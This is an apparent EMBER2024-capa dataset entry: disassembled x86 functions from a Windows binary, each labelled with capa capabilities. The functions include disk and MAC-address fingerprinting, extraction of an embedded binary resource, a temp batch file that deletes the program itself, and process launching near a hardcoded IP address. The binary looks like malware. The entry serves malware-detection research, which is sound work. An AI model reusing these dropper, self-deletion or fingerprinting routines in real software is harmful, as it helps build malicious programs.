joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414950
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x414a6e
push 0xc00
call fcn.00401fd3
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x414a61
mov eax, dword [esi + 0x3c]
test eax, eax
mov ecx, dword [esi + 0x38]
jl 0x4149c9
jg 0x4149bd
test ecx, ecx
jbe 0x4149c9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4149cd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x4149f7
jg 0x4149e3
cmp ecx, edx
jbe 0x4149f7
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x414a21
jg 0x414a0d
cmp ecx, edx
jbe 0x414a21
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x414a4b
jg 0x414a37
cmp ecx, edx
jbe 0x414a4b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.00418310
mov dword [esp + 0x10], eax
test esi, esi
je 0x414a6e
push esi
call fcn.00401dd8
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x414c40
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
cmp esi, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
je 0x414c91
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x414ca0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._vslite.bat
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.004027e9
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.004023d5
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.004027a0
add esp, 0x14
test eax, eax
je 0x414d2b
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414e2e
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x414d60
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x414d80
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x414d94
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.00401fd3
push edi
mov esi, eax
push 0
push esi
call fcn.00405a30
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push edi
push esi
call fcn.004027cd
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x414de5
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x414e2c
push esi
call fcn.00401dd8
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0040113c
add esp, 0x314
ret

Function at 0x414ea0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x208], eax
push 0x206
lea eax, [esp + 6]
push 0
push eax
mov word [esp + 0xc], 0
call fcn.00405a30
add esp, 0xc
cmp dword [0x4260b0], 3
jne 0x414f01
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x422fa0
lea edx, [esp + 4]
push 0x104
push edx
call fcn.0040117b
add esp, 0xc
jmp 0x414f10
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea ecx, [esp + 4]
push ecx
push 0x422fa4
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040113c
add esp, 0x20c
ret
Function at 0x414f40
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
push eax
or edi, 0xffffffff
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x414f74
or eax, eax
or edx, esi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x414f8d
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x414fa0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.00405a30
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x415079
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x415045
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x41501e
cmp word [esp + 0x118], 4
jb 0x415079
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 2
jae 0x415028
cmp eax, 1
jne 0x415079
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 6
jne 0x415079
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x41506f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret
cmp eax, 1
jne 0x415079
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040113c
add esp, 0x120
ret

Function at 0x415220
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov edi, eax
push 0x83
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x415293
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00401fd3
push esi
mov edi, eax
push 0
push edi
call fcn.00405a30
push esi
push ebp
push edi
call fcn.00406be0
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x415380
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
push ebx
push ebp
mov ebx, 1
push esi
mov esi, eax
or eax, 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x70], eax
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x14], ebx
call fcn.00401202
sub esi, dword [esp + 0x80]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
mov dword [esp + 0x10], esi
fmul qword [0x4237b0]
fild dword [esp + 0x10]
fmulp st(1)
fiadd dword [esp + 0x80]
call fcn.00418440
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x4154c0
jmp 0x415450
call fcn.00401202
mov dword [esp + 0x80], eax
fild dword [esp + 0x80]
fmul qword [0x4237b0]
fmul qword [0x4237c0]
fadd qword [0x4237b8]
call fcn.00418440
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x4154a8
jmp 0x415490
add ecx, ebx
cmp ecx, 0x1a
jne 0x415499
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x415490
add esi, dword [esp + ecx*4 + 0x14]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x415450
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret
Function at 0x415630
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x40
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x28], eax
xor eax, eax
mov edi, edx
xor ebx, ebx
push 0x288
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
mov dword [esp + 0x14], 0xffffffff
mov word [esp + 0x30], bx
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov dword [esp + 0x46], eax
mov dword [esp + 0x4a], eax
mov word [esp + 0x4e], ax
xor ebp, ebp
call fcn.00401779
add esp, 4
lea edx, [esp + 0x1c]
mov esi, eax
push edx
push esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], 0x288
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4156cc
push esi
call fcn.00401d4a
mov eax, dword [esp + 0x20]
push eax
call fcn.00401779
add esp, 8
mov dword [esp + 0x18], eax
mov esi, eax
lea ecx, [esp + 0x1c]
push ecx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4157b2
cmp esi, ebx
mov eax, esi
mov dword [esp + 0x14], esi
je 0x4157b2
jmp 0x4156f8
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
add dword [esp + 0x10], 1
cmp edi, ebx
je 0x415714
mov edx, dword [eax + 0x194]
mov dword [edi], edx
mov cx, word [eax + 0x198]
mov word [edi + 4], cx
lea edi, [eax + 0x1ac]
cmp edi, ebx
je 0x4157a0
lea esi, [edi + 4]
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x415730
sub eax, edx
mov ecx, eax
cmp ecx, 0x10
jle 0x415747
mov ecx, 0x10
xor eax, eax
cmp ecx, ebx
jl 0x415767
cmp eax, ecx
jne 0x415756
mov word [esp + eax*2 + 0x2c], bx
movsx dx, byte [esi + eax]
mov word [esp + eax*2 + 0x2c], dx
add eax, 1
cmp eax, ecx
jle 0x41574f
lea eax, [esp + 0x2c]
push eax
call fcn.00415530
add esp, 4
test eax, eax
je 0x41578f
mov edx, dword [esp + 0x28]
mov eax, dword [edx + ebp*4]
lea ecx, [esp + 0x2c]
push ecx
push 0x10
push eax
call fcn.00401224
add esp, 0xc
mov edi, dword [edi]
add ebp, 1
cmp edi, ebx
jne 0x415722
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
cmp ebp, ebx
jg 0x4157b2
mov eax, dword [eax]
cmp eax, ebx
mov dword [esp + 0x14], eax
jne 0x4156f0
cmp esi, ebx
mov ecx, dword [esp + 0x24]
mov dword [ecx], ebp
je 0x4157c5
push esi
call fcn.00401d4a
add esp, 4
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040113c
add esp, 0x40
ret
Function at 0x415a10
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x98
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x90], eax
push ebx
xor eax, eax
push esi
push edi
xor ebx, ebx
push 0x68
mov dword [esp + 0x82], eax
mov dword [esp + 0x86], eax
mov dword [esp + 0x8a], eax
mov dword [esp + 0x8e], eax
mov dword [esp + 0x92], eax
mov dword [esp + 0x96], eax
mov dword [esp + 0x9a], eax
mov word [esp + 0x9e], ax
lea eax, [esp + 0x14]
push ebx
push eax
mov edi, ecx
mov esi, edx
mov word [esp + 0x88], bx
call fcn.00405a30
push esi
lea ecx, [esp + 0x20]
push 0x20
push ecx
call fcn.00401224
mov edx, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc0]
lea esi, [esp + 0x94]
mov dword [esp + 0x8c], edx
call fcn.00415120
mov eax, esi
push eax
lea ecx, [esp + 0x6e]
push 0x10
push ecx
call fcn.00401224
add esp, 0x24
xor eax, eax
nop
mov dl, byte [esp + eax + 0x10]
not dl
mov byte [esp + eax + 0x10], dl
add eax, 1
cmp eax, 0x68
jb 0x415ac0
push 0x423544
push edi
call fcn.004013b5
mov esi, eax
add esp, 8
cmp esi, ebx
je 0x415b1d
push esi
push 0x68
lea eax, [esp + 0x18]
push 1
push eax
call fcn.00401cbd
push esi
mov edi, 1
call fcn.00401b27
add esp, 0x14
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x90]
xor ecx, esp
call fcn.0040113c
add esp, 0x98
ret
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040113c
add esp, 0x98
ret

Function at 0x415b40
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ecx
push 0x42311c
push eax
lea ecx, [esp + 8]
push ecx
mov dword [esp + 0xc], 0
call fcn.004013c8
add esp, 0xc
test eax, eax
je 0x415b64
xor eax, eax
pop ecx
ret
mov edx, dword [esp]
push ebx
push ebp
push esi
push edi
push 2
push 0
push edx
call fcn.0040149f
mov eax, dword [esp + 0x1c]
push eax
call fcn.004016bc
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
mov esi, eax
call fcn.0040149f
mov edx, dword [esp + 0x38]
lea ebp, [esi + edx]
push ebp
call fcn.00401779
mov edi, eax
mov eax, dword [esp + 0x30]
push eax
push 1
push esi
push edi
call fcn.00401a99
mov ecx, dword [esp + 0x40]
push ecx
call fcn.00401b27
mov eax, dword [esp + 0x50]
lea ebx, [edi + esi]
call fcn.00414e50
mov edx, dword [esp + 0x4c]
push 0x423124
push edx
lea eax, [esp + 0x4c]
push eax
call fcn.004013c8
add esp, 0x40
test eax, eax
je 0x415be5
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
push ecx
push 1
push ebp
push edi
call fcn.00401cbd
mov edx, dword [esp + 0x20]
push edx
call fcn.00401b27
add esp, 0x14
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
Function at 0x416050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x434
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x430], eax
mov eax, dword [esp + 0x438]
push ebp
push esi
push edi
push eax
mov dword [esp + 0x14], ecx
call fcn.00417cc0
add esp, 4
test eax, eax
mov dword [esp + 0xc], eax
jne 0x416266
push 0x206
push eax
lea ecx, [esp + 0x32]
push ecx
mov word [esp + 0x34], ax
call fcn.00405a30
add esp, 0xc
push 0x206
lea edx, [esp + 0x236]
push 0
push edx
mov word [esp + 0x23c], 0
call fcn.00405a30
add esp, 0xc
lea esi, [esp + 0x28]
call fcn.004154d0
push 0x423774
mov eax, esi
push 0x104
push eax
call fcn.0040117b
add esp, 0xc
xor eax, eax
mov byte [esp + 0x14], 0
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
mov dword [esp + 0x21], eax
mov word [esp + 0x25], ax
mov byte [esp + 0x27], al
mov ebp, 0x427788
cmp word [ebp], 0
je 0x4161e6
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x234]
push 0x104
push edx
call fcn.00401224
add esp, 0xc
push ebp
lea eax, [esp + 0x234]
push 0x104
push eax
call fcn.0040117b
lea ecx, [esp + 0x23c]
add esp, 0xc
push ecx
lea edi, [esp + 0x18]
call fcn.004147f0
add esp, 4
test eax, eax
je 0x4161e6
mov eax, 0x14
lea ecx, [ebp + 0x104]
mov edx, edi
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x41617f
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x416167
test eax, eax
je 0x4161dc
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4161ce
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4161dc
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4161ce
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4161dc
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x4161ce
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x4161dc
movzx esi, byte [edx]
movzx edx, byte [ecx]
sub esi, edx
je 0x4161dc
test esi, esi
mov eax, 1
jg 0x4161de
or eax, 0xffffffff
jmp 0x4161de
xor eax, eax
test eax, eax
jne 0x4161e6
mov word [ebp], ax
add ebp, 0x118
cmp ebp, 0x427d00
jl 0x416103
mov edi, dword [esp + 0x444]
mov ebp, dword [esp + 0x10]
mov esi, 0x427788
cmp word [esi], 0
je 0x416225
mov eax, dword [esi + 0x100]
push edi
push ebp
mov ecx, esi
mov dword [0x42777c], eax
call fcn.00417a50
add esp, 8
add esi, 0x118
cmp esi, 0x427d00
jl 0x416208
push 0x4283c8
lea ecx, [esp + 0x2c]
push 0x104
push ecx
call fcn.0040117b
add esp, 0xc
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x416262
mov dword [esp + 0xc], 2
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040113c
add esp, 0x434
ret
Function at 0x417400
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push ebp
push esi
push edi
push ebx
mov edi, eax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x417433
mov eax, ebx
call fcn.00414f40
cmp eax, edi
jne 0x417433
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
push 0x200000
call fcn.00401779
mov ebp, eax
mov eax, dword [esp + 0x28]
add esp, 4
push ebp
push eax
lea edx, [esp + 0x1c]
mov ecx, edi
mov dword [esp + 0x1c], 0x200000
call fcn.004181a0
add esp, 8
test eax, eax
je 0x4174fe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.004011f5
add esp, 4
call fcn.00401202
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fmul qword [0x4237b0]
fmul qword [0x4237d0]
fadd qword [0x4237c8]
call fcn.00418440
mov esi, dword [esp + 0x14]
lea ebx, [esi + ebp]
mov edi, eax
call fcn.00414e50
add edi, esi
mov esi, dword [esp + 0x20]
xor ebx, ebx
call fcn.0040dfb0
mov esi, eax
cmp esi, 0xffffffff
je 0x4174fc
push ebx
lea ecx, [esp + 0x1c]
push ecx
push edi
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [esp + 0x18]
cmp eax, edi
jne 0x4174db
mov ebx, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 1
jne 0x4174fc
push ebp
mov esi, ebx
call fcn.00401d4a
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
xor esi, esi
push ebp
call fcn.00401d4a
add esp, 4
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x417800
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x425044]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x4276b0
push 0x67
push edi
call esi
push 0x64
push 0x4275e8
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00415f20
mov eax, dword [ebp + 0x10]
mov edx, 0x4281b8
sub edx, eax
mov edi, edi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x417850
call fcn.00414fa0
mov dword [0x4260b0], eax
mov ecx, 0x422fd4
mov eax, 0x4281b8
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x417899
test dx, dx
je 0x417895
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x417899
add eax, 4
add ecx, 4
test dx, dx
jne 0x417873
xor eax, eax
jmp 0x41789e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4178b8
call fcn.00416380
test eax, eax
je 0x4178b8
call fcn.00414ca0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call fcn.00417070
add esp, 4
test eax, eax
jne 0x4178db
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.0040113c
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.00405a30
mov eax, dword [0x427e00]
add esp, 0xc
test eax, eax
jbe 0x41792e
cmp word [0x427e04], 0
jbe 0x41792e
push eax
mov esi, str.218.54.31.226
call fcn.004150a0
mov cx, word [0x427e04]
add esp, 4
mov word [0x42665c], cx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edx, eax
mov eax, 0x10624dd3
mul edx
mov eax, edx
xor edx, edx
shr eax, 6
mov ecx, 0x3e8
div ecx
push edx
push 0x422fdc
mov edx, 0x4283c8
call fcn.00401000
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
push 0x3e8
call edi
call fcn.00416280
lea esi, [esp + 8]
call fcn.004154d0
push 0x422ff4
mov edx, esi
push 0x104
push edx
call fcn.0040117b
add esp, 0xc
push 0x4283c8
mov eax, esi
push 0x104
push eax
call fcn.0040117b
add esp, 0xc
mov ecx, esi
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4179ce
push 0x1f4
call edi
push 1
push 0
push 0x422ff8
mov edx, esi
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.00417520
call fcn.00414ca0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]